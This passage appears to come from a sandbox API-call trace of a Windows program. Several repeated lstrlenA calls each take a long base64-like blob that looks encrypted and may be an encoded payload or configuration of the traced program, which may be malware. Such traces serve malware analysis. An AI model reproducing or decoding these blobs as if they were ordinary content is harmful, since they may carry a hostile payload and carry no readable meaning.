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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.633] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxy